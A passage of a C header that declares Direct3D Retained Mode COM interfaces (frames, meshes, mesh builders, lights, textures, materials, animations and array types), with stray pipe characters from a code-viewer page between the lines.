STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE;
|
||||||
|
STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE;
|
||||||
|
STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE;
|
||||||
|
STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||||
|
STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE;
|
||||||
|
STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE;
|
||||||
|
STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE;
|
||||||
|
STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE;
|
||||||
|
STDMETHOD_(LONG, GetX)(THIS) PURE;
|
||||||
|
STDMETHOD_(LONG, GetY)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetWidth)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetHeight)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetField)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE;
|
||||||
|
STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMFrame
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE;
|
||||||
|
STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
|
||||||
|
STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
|
||||||
|
STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE;
|
||||||
|
STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||||
|
STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
|
||||||
|
STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
|
||||||
|
STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||||
|
STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE;
|
||||||
|
STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE;
|
||||||
|
STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||||
|
STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE;
|
||||||
|
STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE;
|
||||||
|
STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE;
|
||||||
|
STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE;
|
||||||
|
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE;
|
||||||
|
STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE;
|
||||||
|
STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE;
|
||||||
|
STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE;
|
||||||
|
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
|
||||||
|
STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
|
||||||
|
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE;
|
||||||
|
STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE;
|
||||||
|
STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE;
|
||||||
|
STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||||
|
STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE;
|
||||||
|
STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE;
|
||||||
|
STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE;
|
||||||
|
STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE;
|
||||||
|
STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE;
|
||||||
|
STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE;
|
||||||
|
STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE;
|
||||||
|
STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||||
|
STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE;
|
||||||
|
STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE;
|
||||||
|
STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE;
|
||||||
|
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE;
|
||||||
|
STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE;
|
||||||
|
STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE;
|
||||||
|
STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE;
|
||||||
|
STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE;
|
||||||
|
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||||
|
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||||
|
STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE;
|
||||||
|
STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE;
|
||||||
|
STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMMesh
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||||
|
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
|
||||||
|
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
|
||||||
|
STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE;
|
||||||
|
STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE;
|
||||||
|
STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE;
|
||||||
|
STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE;
|
||||||
|
STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE;
|
||||||
|
STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE;
|
||||||
|
STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE;
|
||||||
|
STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE;
|
||||||
|
STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE;
|
||||||
|
STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||||
|
STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||||
|
STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE;
|
||||||
|
STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE;
|
||||||
|
STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMShadow
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Init)
|
||||||
|
( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light,
|
||||||
|
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
|
||||||
|
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz
|
||||||
|
) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMFace
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE;
|
||||||
|
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||||
|
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE;
|
||||||
|
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
|
||||||
|
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||||
|
STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE;
|
||||||
|
STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals);
|
||||||
|
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE;
|
||||||
|
STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE;
|
||||||
|
STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE;
|
||||||
|
STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE;
|
||||||
|
STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE;
|
||||||
|
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
|
||||||
|
STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE;
|
||||||
|
STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMMeshBuilder
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE;
|
||||||
|
STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE;
|
||||||
|
STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE;
|
||||||
|
STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE;
|
||||||
|
STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE;
|
||||||
|
STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE;
|
||||||
|
STDMETHOD(GenerateNormals)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE;
|
||||||
|
STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE;
|
||||||
|
STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE;
|
||||||
|
STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||||
|
STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE;
|
||||||
|
STDMETHOD(AddFaces)
|
||||||
|
( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals,
|
||||||
|
DWORD *data, LPDIRECT3DRMFACEARRAY*
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE;
|
||||||
|
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE;
|
||||||
|
STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE;
|
||||||
|
STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE;
|
||||||
|
STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE;
|
||||||
|
STDMETHOD(SetPerspective)(THIS_ BOOL) PURE;
|
||||||
|
STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE;
|
||||||
|
STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE;
|
||||||
|
STDMETHOD(GetVertices)
|
||||||
|
( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE;
|
||||||
|
STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE;
|
||||||
|
STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE;
|
||||||
|
STDMETHOD_(BOOL, GetPerspective)(THIS) PURE;
|
||||||
|
STDMETHOD_(int, GetFaceCount)(THIS) PURE;
|
||||||
|
STDMETHOD_(int, GetVertexCount)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE;
|
||||||
|
STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMLight
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE;
|
||||||
|
STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE;
|
||||||
|
STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE;
|
||||||
|
STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE;
|
||||||
|
STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMTexture
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE;
|
||||||
|
STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE;
|
||||||
|
STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE;
|
||||||
|
STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE;
|
||||||
|
STDMETHOD(SetColors)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(SetShades)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE;
|
||||||
|
STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE;
|
||||||
|
STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE;
|
||||||
|
STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE;
|
||||||
|
STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE;
|
||||||
|
STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE;
|
||||||
|
STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE;
|
||||||
|
STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetShades)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetColors)(THIS) PURE;
|
||||||
|
STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE;
|
||||||
|
STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE;
|
||||||
|
STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMWrap
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Init)
|
||||||
|
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref,
|
||||||
|
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
|
||||||
|
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
|
||||||
|
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
|
||||||
|
D3DVALUE ou, D3DVALUE ov,
|
||||||
|
D3DVALUE su, D3DVALUE sv
|
||||||
|
) PURE;
|
||||||
|
STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE;
|
||||||
|
STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMMaterial
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE;
|
||||||
|
STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
|
||||||
|
STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE;
|
||||||
|
STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE;
|
||||||
|
STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
|
||||||
|
STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMAnimation
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE;
|
||||||
|
STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE;
|
||||||
|
STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE;
|
||||||
|
STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE;
|
||||||
|
STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE;
|
||||||
|
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
|
||||||
|
STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMAnimationSet
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
|
||||||
|
STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE;
|
||||||
|
STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE;
|
||||||
|
STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMUserVisual
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
IDIRECT3DRMOBJECT_METHODS(PURE);
|
||||||
|
STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMDeviceArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMFrameArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray) {
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
#define INTERFACE IDirect3DRMViewportArray
|
||||||
|
DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray)
|
||||||
|
{
|
||||||
|
IUNKNOWN_METHODS(PURE);
|
||||||
|
STDMETHOD_(DWORD, GetSize)(THIS) PURE;
|
||||||
|
STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE;
|
||||||
|
};
|
||||||
|
#undef INTERFACE
|
||||||
|
